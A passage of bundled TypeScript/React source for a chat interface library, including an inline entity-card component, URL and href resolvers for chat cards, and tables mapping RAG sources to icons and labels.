continuity: a card\n    // inside a STREAMING assistant message re-mounts on every chunk as the\n    // surrounding markdown re-parses, and the previous data renders while\n    // the refetch is in flight — no skeleton flash, never stale-forever.\n    staleTime: 0,\n    gcTime: 30 * 60 * 1000,\n  });\n  return {\n    item: query.data ?? undefined,\n    isLoading: query.isLoading,\n    isError: query.isError,\n    // True only after the query actually completed a fetch. DISABLED\n    // queries (no list URL registered for the type, empty id) never\n    // fetch — `item` is undefined there as well, and callers must not\n    // read that as \"fetched fine, entity absent\" (tombstone gate in\n    // entity-cards/dispatch.tsx).\n    isFetched: query.isFetched,\n  };\n}\n","'use client';\n\nimport type { MouseEvent, ReactNode } from 'react';\nimport Image from '../../embed-shims/next-image';\nimport { cn } from '../../utils/cn';\nimport { personInitials } from '../../utils/format';\nimport { Ellipsis01Icon } from '../icons-v2-generated';\nimport { ActionsMenuDropdown, type ActionsMenuGroup } from '../ui/actions-menu';\nimport { tagVariants, type TagProps } from '../ui/tag';\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** A coloured status pill rendered to the right of the title/description. */\nexport interface MingoInfoCardStatus {\n  /** Pill text — rendered uppercase via the `success`/`warning`/… Tag palette. */\n  label: ReactNode;\n  /** Tag colour. Defaults to `success` (green) to match the Figma sample. */\n  variant?: TagProps['variant'];\n}\n\nexport interface MingoInfoCardProps {\n  /** Card title — DM Sans Medium 18px (`text-h4`), white. Truncates on overflow. */\n  title: ReactNode;\n  /** Optional secondary line below the title — 14px (`text-h6`), grey. Truncates. */\n  description?: ReactNode;\n  /**\n   * Leading 40px avatar image (`img=\"image\"` variant in Figma). Takes\n   * precedence over `icon` when both are supplied. Falls back to initials\n   * derived from `imageAlt` if the image fails to load.\n   */\n  imageSrc?: string;\n  /** Alt text / initials fallback for `imageSrc`. */\n  imageAlt?: string;\n  /**\n   * Leading 24px glyph rendered inside a 40px box (`img=\"icon\"` variant).\n   * Ignored when `imageSrc` is set. Pass an `icons-v2-generated` icon — it\n   * inherits `currentColor` from the box's `text-ods-text-primary`.\n   */\n  icon?: ReactNode;\n  /** Optional status pill (e.g. `{ label: 'Online' }`). */\n  status?: MingoInfoCardStatus;\n  /**\n   * Overflow-menu groups. When non-empty, a trailing \"⋯\" button opens an\n   * `ActionsMenuDropdown`. Omit to hide the button entirely.\n   */\n  menuGroups?: ReadonlyArray<ActionsMenuGroup>;\n  /** Aria-label for the \"⋯\" trigger. Defaults to `\"More actions\"`. */\n  menuAriaLabel?: string;\n  /**\n   * Renders the main content region as an `<a>` (for navigation) instead of a\n   * `<button>`. Takes precedence over `onClick`. The \"⋯\" button stays a sibling\n   * of the anchor — not nested inside it — so the markup stays valid.\n   */\n  anchorProps?: MingoInfoCardAnchorProps;\n  /**\n   * Click handler for the main content region. When set (and `anchorProps` is\n   * not), the title/description region becomes a `<button>` with hover/focus\n   * affordances. The \"⋯\" button keeps its own independent click target.\n   */\n  onClick?: () => void;\n  /** Appended to the root element. */\n  className?: string;\n}\n\n/** Anchor-prop bundle for the content region — mirrors the `*AnchorProps`\n *  shape the chat entity-cards pass (`{ href, target?, rel?, onClick? }`). */\nexport interface MingoInfoCardAnchorProps {\n  href: string;\n  target?: '_blank';\n  rel?: string;\n  onClick?: (e: MouseEvent<HTMLAnchorElement>) => void;\n}\n\n// =============================================================================\n// Span-only markup\n//\n// This card renders inline inside chat message paragraphs (the `[card://]`\n// marker is replaced in-place, landing the card inside a `<p>`). To stay\n// valid there, EVERY element is phrasing content — `<span>` / `<a>` / `<img>`\n// / `<button>` only, never `<div>`. Layout comes from `display` utilities, so\n// the visual is identical to a block card.\n// =============================================================================\n\n/** 40px leading media — avatar image (with initials fallback) or boxed glyph. */\nfunction CardMedia({ imageSrc, imageAlt, icon }: Pick<MingoInfoCardProps, 'imageSrc' | 'imageAlt' | 'icon'>) {\n  if (imageSrc) {\n    return (\n      <span className=\"relative block size-10 shrink-0\">\n        {/* Initials fallback sits BEHIND the image. The image is the framed\n            element itself — `rounded-sm` + `border` live on the `<img>` so the\n            picture and its 1px frame share one radius (no corner gap from\n            clipping a separate absolutely-positioned child). On a 404 the\n            image's `onError` hides it and the initials show through. */}\n        <span className=\"absolute inset-0 flex items-center justify-center rounded-sm border border-ods-border bg-ods-bg text-ods-text-primary text-h6\">\n          {personInitials(imageAlt) || '?'}\n        </span>\n        <Image\n          src={imageSrc}\n          alt={imageAlt || ''}\n          className=\"relative block size-10 rounded-sm border border-ods-border object-cover\"\n          width={40}\n          height={40}\n          unoptimized\n          onError={e => {\n            const img = e.currentTarget;\n            img.style.display = 'none';\n          }}\n        />\n      </span>\n    );\n  }\n  if (icon) {\n    return (\n      <span className=\"flex size-10 shrink-0 items-center justify-center overflow-hidden rounded-md border border-ods-border bg-ods-bg text-ods-text-secondary\">\n        <span className=\"flex size-6 items-center justify-center\">{icon}</span>\n      </span>\n    );\n  }\n  return null;\n}\n\n/** Loading placeholder matching `MingoInfoCard` geometry (40px media box,\n *  title + description lines, trailing pill slot). Span-only for the same\n *  inside-`<p>` validity reason as the card itself. */\nexport function MingoInfoCardSkeleton({ className }: { className?: string }) {\n  return (\n    <span\n      className={cn(\n        'flex w-full animate-pulse items-center gap-[var(--spacing-system-s)] overflow-hidden rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-s)]',\n        className,\n      )}\n    >\n      <span className=\"block size-10 shrink-0 rounded-md border border-ods-border bg-ods-bg\" />\n      <span className=\"flex min-w-0 flex-1 flex-col justify-center gap-1.5\">\n        <span className=\"block h-4 w-1/2 rounded bg-ods-bg\" />\n        <span className=\"block h-3 w-3/4 rounded bg-ods-bg/60\" />\n      </span>\n      <span className=\"block h-5 w-16 shrink-0 rounded bg-ods-bg/60\" />\n    </span>\n  );\n}\n\nexport function MingoInfoCard({\n  title,\n  description,\n  imageSrc,\n  imageAlt,\n  icon,\n  status,\n  menuGroups,\n  menuAriaLabel = 'More actions',\n  anchorProps,\n  onClick,\n  className,\n}: MingoInfoCardProps) {\n  const hasMedia = !!imageSrc || !!icon;\n  const hasMenu = !!menuGroups && menuGroups.length > 0;\n  const isAnchor = !!anchorProps;\n  const isInteractive = isAnchor || !!onClick;\n\n  // The content region: leading media, text column, status pill. Owns the\n  // `border-r` divider that sits before the \"⋯\" button.\n  const content = (\n    <>\n      {hasMedia && <CardMedia imageSrc={imageSrc} imageAlt={imageAlt} icon={icon} />}\n      <span className=\"flex min-w-0 flex-1 flex-col justify-center\">\n        <span className=\"truncate text-ods-text-primary text-h4\">{title}</span>\n        {description ? <span className=\"truncate text-ods-text-secondary text-h6\">{description}</span> : null}\n      </span>\n      {status ? (\n        // Reuse the shared Tag palette (single source of truth for colours)\n        // without rendering Tag's `<div>` — span-only for `<p>` validity.\n        <span className={cn(tagVariants({ variant: status.variant ?? 'success' }), 'shrink-0')}>\n          <span className=\"truncate uppercase tracking-[-0.28px]\">{status.label}</span>\n        </span>\n      ) : null}\n    </>\n  );\n\n  const contentClass = cn(\n    'flex min-w-0 flex-1 items-center gap-[var(--spacing-system-s)] overflow-hidden p-[var(--spacing-system-s)] text-left',\n    hasMenu && 'border-r border-ods-border',\n    isInteractive &&\n      'cursor-pointer transition-colors hover:bg-ods-bg-hover focus:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-accent active:bg-ods-bg-active',\n  );\n\n  return (\n    <span\n      className={cn(\n        'flex w-full items-center overflow-hidden rounded-md border border-ods-border bg-ods-card',\n        className,\n      )}\n    >\n      {isAnchor ? (\n        <a {...anchorProps} className={cn(contentClass, 'no-underline')}>\n          {content}\n        </a>\n      ) : onClick ? (\n        <button type=\"button\" onClick={onClick} className={contentClass}>\n          {content}\n        </button>\n      ) : (\n        <span className={contentClass}>{content}</span>\n      )}\n\n      {hasMenu && (\n        <ActionsMenuDropdown\n          groups={menuGroups as ActionsMenuGroup[]}\n          triggerAriaLabel={menuAriaLabel}\n          onCloseAutoFocus={e => e.preventDefault()}\n          customTrigger={\n            <button\n              type=\"button\"\n              aria-label={menuAriaLabel}\n              // Press feedback mirrors `Button` (transparent variant):\n              // `hover:bg-ods-bg-hover` → `active:bg-ods-bg-active`.\n              className=\"flex w-[56px] shrink-0 items-center justify-center self-stretch text-ods-text-secondary transition-colors hover:bg-ods-bg-hover hover:text-ods-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-accent active:bg-ods-bg-active active:text-ods-text-primary md:w-[68px]\"\n            >\n              <Ellipsis01Icon size={24} />\n            </button>\n          }\n        />\n      )}\n    </span>\n  );\n}\n","/**\n * Unified URL builders for the third-party app deep-links used by chat\n * surfaces (chip clicks, inline-card tracking rows).\n *\n * Lib-side subset of the hub's `lib/utils/external-app-urls.ts`. Today\n * it carries the ClickUp deep-link helper only — HubSpot and admin\n * routes stay hub-side because they're consumed exclusively by\n * hub-internal mappers.\n */\n\nconst CLICKUP_APP_BASE = 'https://app.clickup.com';\n\n/** ClickUp task detail page in the ClickUp UI. Returns `null` when the\n *  external id is missing so consumers don't end up with a\n *  `.../t/undefined` link. */\nexport function clickupTaskUrl(externalId: string | null | undefined): string | null {\n  if (!externalId) return null;\n  return `${CLICKUP_APP_BASE}/t/${externalId}`;\n}\n","/**\n * Post-fetch href fallback for an inline chat card whose `ChatRef` carried no\n * `externalUrl`.\n *\n * ## Why a fetch-mode card can arrive without a URL\n *\n * The two chat transports deliver entity references differently:\n *\n *   - **SSE / guide transport** — the server ships a `refs` metadata frame, so\n *     each `[card://type:id]` marker expands into a FULL `ChatRef`\n *     (`title` / `url` / `targetPlatform` / `sourceRepo`). `resolveSourceRowCTA`\n *     then routes that `externalUrl` through the host's `composeContentUrl`\n *     seam and the card is clickable.\n *   - **Mingo / NATS transport** (`messageData: [{ type: 'TEXT', text }]`)\n *     — the body carries bare `[card://type:id]` markers and NOTHING else.\n *     `chat-message-enhanced.tsx` synthesizes a minimal `{ type, id, title: id,\n *     url: null }` ref so fetch-mode cards can still self-fetch their row, but\n *     `resolveSourceRowCTA` has no `externalUrl`, no `path` and no\n *     `targetPlatform` to work with → `href: null` → the card renders with its\n *     real title and description but goes nowhere when clicked.\n *\n * This resolver closes that gap WITHOUT a second URL vocabulary: it calls the\n * exact same `composeContentUrl` seam the page cards (`resolveContentHref`) and\n * the SSE cards (`resolveSourceRowCTA`) use, so one host config —\n * `hostedTypes` / `suffixes` / `overrides` — governs all three.\n *\n * `identifier` stays the marker's primary key (that is what `overrides` such as\n * roadmap's `?search=<task id>` deep-link on); the row's `slug` rides the\n * separate `slug` hint for hosted types whose detail route is slug-based.\n *\n * Pure — no React, no DOM. The caller owns `safeHref` validation.\n */\n\nimport type { ComposeContentUrl, ComposedContentUrl } from '../../../utils/content-href';\nimport { canonicalContentRefType } from '../../../utils/list-url';\n\nexport interface FetchedCardHrefInput {\n  /** Canonical `documentType` for the seam (registry `contentRefType`). */\n  contentRefType: string;\n  /** The marker's primary key — `ChatRef.id`, NOT the fetched row's id. */\n  id: string;\n  /** The row the card fetched. Shape is per-type and opaque here; only\n   *  `slug` and `platforms` are read, both defensively. */\n  item: unknown;\n  /** Host seam. Absent (unwired runtime) → no fallback, same as today. */\n  composeContentUrl?: ComposeContentUrl;\n}\n\n/** Read `item.slug` when it is a non-empty string. */\nfunction readSlug(item: unknown): string | null {\n  if (!item || typeof item !== 'object') return null;\n  const slug = (item as { slug?: unknown }).slug;\n  return typeof slug === 'string' && slug.trim() ? slug.trim() : null;\n}\n\n/**\n * Human title of a fetched row — `title`, else `name`, else null.\n *\n * A Mingo synthetic ref carries `title: <the marker id>` because that is all\n * the transport shipped. Everything downstream that prints or sends the title\n * (the \"Ask Mingo\" prompt, host renderers falling back to `ref.title`) would\n * otherwise say `86ad3qvv5`. Once the row loads, this is the real title.\n */\nexport function readFetchedCardTitle(item: unknown): string | null {\n  if (!item || typeof item !== 'object') return null;\n  for (const key of ['title', 'name'] as const) {\n    const value = (item as Record<string, unknown>)[key];\n    if (typeof value === 'string' && value.trim()) return value.trim();\n  }\n  return null;\n}\n\n/** Read the row's platform-association array — the hub composer keys its\n *  cross-platform topology off it; the embedder default ignores it. Hub\n *  list-API rows carry the array under the registry arrayKey\n *  `<canonicalType>_platforms` (e.g. `blog_post_platforms`), with a plain\n *  `platforms` fallback for shapes that use the generic key. */\nfunction readPlatforms(item: unknown, canonicalType: string): Array<{ name?: string }> | undefined {\n  if (!item || typeof item !== 'object') return undefined;\n  const obj = item as Record<string, unknown>;\n  for (const key of [`${canonicalType}_platforms`, 'platforms']) {\n    const platforms = obj[key];\n    if (Array.isArray(platforms)) return platforms as Array<{ name?: string }>;\n  }\n  return undefined;\n}\n\n/**\n * Resolve `{href, targetPlatform}` for a freshly fetched card row, or `null`\n * when the host wired no seam (the caller then keeps the card unlinked, which\n * is the pre-existing behavior).\n */\n/**\n * Where a fetch-mode card's destination came from. The loader needs the source,\n * not just the string: only the `item` branch must leave the ref's own\n * `targetPlatform` untouched.\n */\nexport type FetchedCardHrefChoice =\n  | { source: 'hostOverride'; href: string; targetPlatform: string | null }\n  | { source: 'item'; href: string; targetPlatform?: undefined }\n  | { source: 'composed'; href: string; targetPlatform: string | null };\n\n/**\n * Decide a fetched card's destination between the two producers that can claim\n * it. Pure, so the precedence is testable on its own — it used to live as\n * inline ternaries in `ChatCardLoader`.\n *\n *   1. an EXPLICIT host override — the host said where this type lives in its\n *      own app, which beats everything;\n *   2. the fetched row's own url (`registry.fallbackHref`) — minted by the\n *      content host for ITS surface, authoritative in the absence of (1);\n *   3. the composer's synthesized href, unless the registry opted out\n *      (`noComposedHref`) because the synthesis would be a 404.\n *\n * (2) beating (3) is why `noComposedHref` exists; (1) beating (2) is what keeps\n * a re-homed type (an embedder serving hub tickets under `/help-center/tickets`)\n * from following the content host's path into an unrelated route of its own.\n */\nexport function pickFetchedCardHref({\n  composed,\n  itemHref,\n  allowComposed,\n}: {\n  /** Result of {@link resolveFetchedCardHref}, or null when unresolvable. */\n  composed: ComposedContentUrl | null;\n  /** `registry.fallbackHref(item)` — the fetched row's own destination. */\n  itemHref: string | null;\n  /** False for registry entries flagged `noComposedHref`. */\n  allowComposed: boolean;\n}): FetchedCardHrefChoice | null {\n  if (composed?.hostOverride) {\n    return { source: 'hostOverride', href: composed.href, targetPlatform: composed.targetPlatform };\n  }\n  if (itemHref) return { source: 'item', href: itemHref };\n  if (composed && allowComposed) {\n    return { source: 'composed', href: composed.href, targetPlatform: composed.targetPlatform };\n  }\n  return null;\n}\n\nexport function resolveFetchedCardHref({\n  contentRefType,\n  id,\n  item,\n  composeContentUrl,\n}: FetchedCardHrefInput): ComposedContentUrl | null {\n  if (!composeContentUrl || !contentRefType || !id) return null;\n  const canonicalType = canonicalContentRefType(contentRefType);\n  return composeContentUrl({\n    // The card registry keys some entries by the legacy rail vocabulary\n    // (`blog_post_existing`) because that is what `buildListUrl` expects.\n    // The seam speaks the CANONICAL vocabulary — a host's `hostedTypes` /\n    // `overrides` are written against `blog_post`, so an un-aliased type\n    // misses them all and lands on `<origin>/blog_post_existing/<slug>`.\n    type: canonicalType,\n    identifier: id,\n    slug: readSlug(item),\n    platforms: readPlatforms(item, canonicalType),\n  });\n}\n","/**\n * Per-source icon-name + label lookup. Keyed by `RagTableConfig.id` (the same\n * id used in `chat_source_rag_tables.rag_table_id` and on each\n * `ChatRef.sourceRepo`).\n *\n * Server-safe — lives in `src/utils/` (no `'use client'` banner) so\n * hub server-side rag-mappers + chat route handlers can call\n * `getSourceLabel()` / `getSourceIconName()` directly. The client-side\n * chat barrel re-exports from here for ergonomic client imports.\n *\n * Used by SOURCE-LEVEL chip surfaces:\n *   - The chip strip below an assistant message.\n *   - The tracking-row source glyph on inline entity cards.\n *\n * Why a small map here instead of a column on RAG_TABLE_CONFIGS:\n *   - The icon NAME is a small string; the resolver (icon-name → React\n *     component) lives in `src/components/chat/utils/icon-registry.ts`\n *     where it can stay client-only. Server-side consumers stay\n *     icon-component-free.\n *   - The mapping is intrinsic to the TABLE, not per-platform — same\n *     entry serves every (platform, source) binding.\n *\n * Per-table admin-UI bucket id (`SOURCE_CATEGORIES_BY_TABLE`) stays\n * hub-side because it depends on the hub's `RagSourceCategoryId` enum.\n */\n\n/** Map RagTableConfig.id → icon_name (resolvable via `getIconComponent`). */\nexport const SOURCE_ICON_NAMES: Record<string, string> = {\n  // Doc tables\n  'openframe-docs': 'openframe',\n  'data-room-docs': 'shield',\n\n  // CMS / programs\n  'blog-posts': 'newspaper',\n  'product-releases': 'rocket',\n  'case-studies': 'briefcase',\n  'onboarding-guides': 'graduation-cap',\n  webinars: 'video',\n  events: 'calendar',\n  podcasts: 'headphones',\n  'customer-interviews': 'users',\n  faqs: 'info',\n\n  // Financials\n  'investor-updates': 'mail',\n  'financial-kpis': 'activity',\n  'financial-cap-table': 'table',\n  'financial-pnl': 'trending-up',\n  'financial-balance-sheet': 'dollar-sign',\n  'financial-cash-flow': 'banknote',\n\n  // ClickUp\n  'clickup-roadmap': 'clickup',\n  'clickup-delivery': 'clickup',\n  'clickup-tasks-internal': 'clickup',\n\n  // GitHub\n  'github-commits': 'github',\n  'github-pull-requests': 'github',\n  'github-pr-reviews': 'github',\n  'github-commits-public': 'github',\n  'github-pull-requests-public': 'github',\n  'github-pr-reviews-public': 'github',\n\n  // HubSpot\n  'hubspot-tickets': 'hubspot',\n  'hubspot-tickets-anon': 'hubspot',\n  'hubspot-tickets-self': 'hubspot',\n\n  // Communications\n  'slack-messages': 'slack',\n\n  // People-hub employee content\n  'what-i-shipped': 'package',\n  'how-i-work': 'book-open',\n\n  // Product-hub internal\n  'design-docs': 'file-text',\n  'openframe-tenants': 'globe',\n};\n\n/** Lookup an icon name by RagTableConfig.id. Returns undefined when\n *  unknown so callers can decide whether to fall back to documentType\n *  or to the generic FileText glyph in the icon registry. */\nexport function getSourceIconName(tableId: string | null | undefined): string | undefined {\n  if (!tableId) return undefined;\n  return SOURCE_ICON_NAMES[tableId];\n}\n\n/**\n * Per-table display LABEL — used by SERVER-SIDE chip-strip rendering\n * (the row's \"Customer Interviews (8 records)\" chip below an assistant\n * message).\n *\n * The chip GRID + autocomplete DROPDOWN read their command label\n * from the DB (per-source `chat_admin_slash_commands.label`) — those\n * surfaces can carry per-source labels (e.g. \"OpenFrame Commits\" vs\n * \"GitHub Commits\" for the same table). This map is the TABLE-LEVEL\n * label used by sub-message chips where a SINGLE label per table is\n * sufficient regardless of which source's chat is rendering.\n */\nexport const SOURCE_LABELS_BY_TABLE: Record<string, string> = {\n  // Doc tables\n  'openframe-docs': 'OpenFrame Docs',\n  'data-room-docs': 'Data Room',\n\n  // CMS / programs\n  'blog-posts': 'Blog Posts',\n  'product-releases': 'Product Releases',\n  'case-studies': 'Case Studies',\n  'onboarding-guides': 'Onboarding Guides',\n  webinars: 'Webinars',\n  events: 'Events',\n  podcasts: 'Podcasts',\n  'customer-interviews': 'Customer Interviews',\n  faqs: 'FAQs',\n\n  // Financials\n  'investor-updates': 'Investor Updates',\n  'financial-kpis': 'Financial KPIs',\n  'financial-cap-table': 'Cap Table',\n  'financial-pnl': 'Profit & Loss',\n  'financial-balance-sheet': 'Balance Sheet',\n  'financial-cash-flow': 'Cash Flow',\n\n  // ClickUp\n  'clickup-roadmap': 'ClickUp Roadmap',\n  'clickup-delivery': 'ClickUp Delivery',\n  'clickup-tasks-internal': 'ClickUp Tasks',\n\n  // GitHub\n  'github-commits': 'GitHub Commits',\n  'github-pull-requests': 'GitHub Pull Requests',\n  'github-pr-reviews': 'GitHub PR Reviews',\n  'github-commits-public': 'OpenFrame Commits',\n  'github-pull-requests-public': 'OpenFrame Pull Requests',\n  'github-pr-reviews-public': 'OpenFrame PR Reviews',\n\n  // HubSpot\n  'hubspot-tickets': 'HubSpot Tickets',\n  // Anon + self share the \"Tickets\" root so the chip vocabulary is\n  // uniform across logged-out (everyone's resolved support tickets,\n  // anonymized → \"Tickets\") and logged-in (user-scoped → \"My Tickets\")\n  // surfaces. The full-PII `hubspot-tickets` entry above is product-hub\n  // internal only (admin view), kept as \"HubSpot Tickets\" to flag the\n  // distinct scope.\n  'hubspot-tickets-anon': 'Tickets',\n  'hubspot-tickets-self': 'My Tickets',\n\n  // Communications\n  'slack-messages': 'OpenMSP Community',\n\n  // People-hub employee content\n  'what-i-shipped': 'What I Shipped',\n  'how-i-work': 'How I Work',\n\n  // Product-hub internal\n  'design-docs': 'Design Docs',\n  'openframe-tenants': 'OpenFrame Tenants',\n};\n\n/** Lookup a human-readable label by RagTableConfig.id. Falls back\n *  to the raw id (chip text becomes the table slug — visible bug\n *  that prompts an entry to land in `SOURCE_LABELS_BY_TABLE`). */\nexport function getSourceLabel(tableId: string): string {\n  return SOURCE_LABELS_BY_TABLE[tableId] ?? tableId;\n}\n\n/**\n * Default `documentType → RagTableConfig.id` reverse map.\n *\n * Mirrors the canonical lookup the hub registers via\n * `lib/config/rag-table-config.ts:tableIdForDocumentType()` — same vocabulary\n * the LLM emits inside `[card://<type>:<id>]` markers, same tableIds the\n * retrieval layer routes by, and same set of keys covered by\n * `SOURCE_ICON_NAMES` / `SOURCE_LABELS_BY_TABLE` above.\n *\n * Server-safe (no `'use client'` banner), keyed by string for forward\n * compatibility — adding a new RAG table is a single-line edit here so\n * lib-based embedders pick it up without re-publishing.\n *\n * Embedders that need a CUSTOM mapping (e.g. polymorphic types whose\n * tableId depends on per-tenant config) still pass their own\n * `tableIdForDocumentType` callback to `useEmbeddedChat`; this default\n * only applies when no callback is supplied.\n *\n * Inverse mapping audited 2026-05-24 against the hub registry — every\n * entry in `RAG_TABLE_CONFIGS` with a `documentType` is represented.\n */\nexport const DEFAULT_DOCUMENT_TYPE_TO_TABLE_ID: Record<string, string> = {\n  // Doc tables\n  markdown: 'openframe-docs',\n  data_room_doc: 'data-room-docs',\n\n  // CMS / programs\n  blog_post: 'blog-posts',\n  product_release: 'product-releases',\n  case_study: 'case-studies',\n  onboarding_guide: 'onboarding-guides',\n  webinar: 'webinars',\n  event: 'events',\n  podcast: 'podcasts',\n  customer_interview: 'customer-interviews',\n  faq: 'faqs',\n\n  // Financials\n  investor_update: 'investor-updates',\n  financial_kpi: 'financial-kpis',\n  cap_table: 'financial-cap-table',\n  profit_loss: 'financial-pnl',\n  balance_sheet: 'financial-balance-sheet',\n  cash_flow: 'financial-cash-flow',\n\n  // ClickUp\n  roadmap_item: 'clickup-roadmap',\n  delivery_item: 'clickup-delivery',\n  internal_task: 'clickup-tasks-internal',\n\n  // GitHub\n  github_commit: 'github-commits',\n  github_pull_request: 'github-pull-requests',\n  github_pr_review: 'github-pr-reviews',\n  github_commit_public: 'github-commits-public',\n  github_pull_request_public: 'github-pull-requests-public',\n  github_pr_review_public: 'github-pr-reviews-public',\n\n  // HubSpot\n  hubspot_ticket: 'hubspot-tickets',\n  hubspot_ticket_anon: 'hubspot-tickets-anon',\n  hubspot_ticket_self: 'hubspot-tickets-self',\n\n  // Communications\n  slack_message: 'slack-messages',\n\n  // People-hub employee content\n  what_i_shipped: 'what-i-shipped',\n  how_i_work: 'how-i-work',\n\n  // Product-hub internal\n  design_doc: 'design-docs',\n  openframe_tenant: 'openframe-tenants',\n};\n\n/**\n * Default `tableIdForDocumentType` resolver used by `useEmbeddedChat` when\n * the caller didn't pass an explicit callback. Returns `null` for\n * unrecognized document types so downstream `discussRef` / `displayRef`\n * still short-circuits gracefully on stale or custom types.\n */\nexport function defaultTableIdForDocumentType(documentType: string): string | null {\n  return DEFAULT_DOCUMENT_TYPE_TO_TABLE_ID[documentType] ?? null;\n}\n","/**\n * Single source of truth for \"what does clicking THIS row do?\" across\n * the chat-adjacent surfaces (source chips, inline cards, search results).\n *\n * Lib-side refactor of the hub's `lib/utils/source-row-cta.ts`. Drops:\n *   - `currentPlatform()`        — host injects via `ctx.currentPlatform`\n *   - `traceCompose()` logging   — lib stays log-free; hosts can wrap\n *   - `tableIdForDocumentType`   — host injects via `ctx.tableIdForDocumentType`\n *\n * The contract:\n *   - `icon` + `iconLabel` — for visual + a11y. Sourced from\n *     `SOURCE_ICON_NAMES` keyed by the row's `sourceRepo` (config id),\n *     resolved to a React component via `ICON_REGISTRY`.\n *   - `href` — destination URL. `null` means \"no public viewer; Ask is\n *     the only action\". Honors the inline card / chip / search bar's\n *     existing fallback chain (externalUrl → in-app path → null) and\n *     also runs `safeHref()` on the final value so a hostile RAG row\n *     can't land `javascript:` / `data:` in the DOM.\n *   - `askable` — whether the Ask drill-in flow can fire. Requires a\n *     non-empty `id` AND a `documentType`.\n *   - `chatRef` — pre-synthesized `ChatRef` for the Ask handler.\n */\n\nimport { FileText } from 'lucide-react';\nimport type React from 'react';\nimport { getBaseUrl } from '../../../utils/cn';\nimport type { ComposeContentUrl } from '../../../utils/content-href';\nimport { canonicalContentRefType } from '../../../utils/list-url';\nimport type { ChatRef } from '../chat-ref.types';\nimport { safeHref } from './compact-card-classes';\nimport { getIconComponent } from './icon-registry';\nimport { getSourceIconName } from './source-icons';\n\n/** Path sanitization — keep alphanumerics, slash, dash, dot, underscore;\n *  strip everything else. Defends against a hostile mapper returning a\n *  path with `..` traversal or query-string injection. */\nfunction sanitizePath(path: string): string {\n  return (path || '').replace(/[^a-zA-Z0-9/_\\-.]/g, '');\n}\n\nexport interface SourceRowInput {\n  /** RagTableConfig.id (e.g. 'blog-posts', 'financial-cap-table'). Drives\n   *  icon resolution via `SOURCE_ICON_NAMES` + `ICON_REGISTRY`. */\n  sourceRepo?: string | null;\n  /** The config's `documentType` (e.g. 'blog_post', 'cap_table'). Drives\n   *  the Ask drill-in's `ChatRef.type`. */\n  documentType?: string | null;\n  /** Primary-key value of the row (config.primaryKey). Required for Ask. */\n  id?: string | null;\n  /** Display title. */\n  title: string;\n  /** Resolved public URL when the row HAS a viewer. `null`/undefined when\n   *  the row has no public destination — surface decides Ask-only behavior. */\n  externalUrl?: string | null;\n  /** Platform that owns `externalUrl`. */\n  targetPlatform?: string | null;\n  /** In-app navigator path (e.g. `legal/fundraising/.../safe`). */\n  path?: string | null;\n}\n\nexport interface SourceRowContext {\n  /** Chat shell's base route — `/data-room`, `/knowledge-base`, etc. */\n  baseRoute?: string;\n  /** Cross-platform target for the chip / card click. */\n  chipBasePlatform?: string;\n  /**\n   * Host-supplied current-platform identifier. Used as the\n   * `targetPlatform` for path-based fallback URLs that point to the\n   * host's own surface. When omitted, path-based fallback rows get a\n   * `null` targetPlatform — consumers fall back to their legacy\n   * origin-check.\n   */\n  currentPlatform?: string | null;\n  /**\n   * Host-supplied reverse map: documentType → tableId. Used to derive\n   * `sourceRepo` from `documentType` when the caller didn't supply it\n   * (inline cards know `ref.type` but not `sourceRepo`). When omitted,\n   * the resolver falls back to the documentType reverse-map miss and\n   * keeps the FileText icon.\n   */\n  tableIdForDocumentType?: (documentType: string) => string | null;\n  /**\n   * Host-supplied unified content-href resolver (`runtime.composeContentUrl`).\n   * When provided, entity rows WITH a public `externalUrl` resolve their href\n   * through it — so the host's `hostedTypes` / `overrides` route a chat card to\n   * the SAME destination as the equivalent page-view card (in-app for hosted\n   * types, the hub URL otherwise). When omitted, the row's `externalUrl` is used\n   * verbatim (legacy).\n   */\n  composeContentUrl?: ComposeContentUrl;\n  /**\n   * Host-supplied per-`documentType` doc-viewer targets — the UNIFIED, DYNAMIC\n   * replacement for the single `chipBasePlatform`. Maps a doc-table documentType\n   * (`'markdown'`, `'data_room_doc'`, …) → the platform whose PUBLIC doc viewer\n   * hosts it + that viewer's base path. A doc chip with no `externalUrl` resolves\n   * to `getBaseUrl(platform)/<basePath>/<path>` PER ROW — so a chat mixing several\n   * doc sources sends EACH to its own home (markdown→flamingo/knowledge-base,\n   * data_room_doc→company-hub/data-room) instead of one static fallback for all.\n   * Wins over `chipBasePlatform` when a row's documentType has an entry.\n   */\n  docPlatformTargets?: Record<string, { platform: string; basePath: string }>;\n}\n\nexport interface SourceRowCTA {\n  /** Source icon component. Always defined — falls back to `FileText`. */\n  icon: React.ComponentType<{ className?: string }>;\n  /** Human-readable label for the icon. */\n  iconLabel: string;\n  /** Resolved destination URL. `null` when the row has no openable\n   *  target. Already passed through `safeHref()`. */\n  href: string | null;\n  /** Platform that owns the destination. `null` when the row has no\n   *  openable target OR the destination is external/unknown. */\n  targetPlatform: string | null;\n  /** When true, the surface can fire the Ask drill-in flow for this row. */\n  askable: boolean;\n  /** Pre-synthesized `ChatRef` for the Ask handler. `null` when not askable. */\n  chatRef: ChatRef | null;\n}\n\n/**\n * Build a `SourceRowContext` from a `ChatRuntime` + the surface's `baseRoute` /\n * `chipBasePlatform`. The runtime-derived fields (`currentPlatform`, `composeContentUrl`,\n * `docPlatformTargets`) are wired identically at every `resolveSourceRowCTA` call site\n * (source chips + inline cards), so they live here once — adding a ctx field is then a\n * one-line change instead of editing all three call sites.\n */\nexport function sourceRowCtxFromRuntime(\n  runtime: {\n    source?: string;\n    composeContentUrl?: ComposeContentUrl;\n    docPlatformTargets?: SourceRowContext['docPlatformTargets'];\n  },\n  surface: { baseRoute?: string; chipBasePlatform?: string } = {},\n): SourceRowContext {\n  return {\n    currentPlatform: runtime.source ?? null,\n    composeContentUrl: runtime.composeContentUrl,\n    docPlatformTargets: runtime.docPlatformTargets,\n    baseRoute: surface.baseRoute,\n    chipBasePlatform: surface.chipBasePlatform,\n  };\n}\n\n/**\n * Pure icon-resolution helper — `sourceRepo` (RagTableConfig.id) →\n * icon_name via `SOURCE_ICON_NAMES`, then icon_name → React component\n * via `ICON_REGISTRY`.\n */\nfunction pickSourceIcon(sourceRepo: string | null, documentType: string | null | undefined) {\n  const iconName = sourceRepo ? getSourceIconName(sourceRepo) : undefined;\n  const icon = iconName ? getIconComponent(iconName) : FileText;\n  const iconLabel = 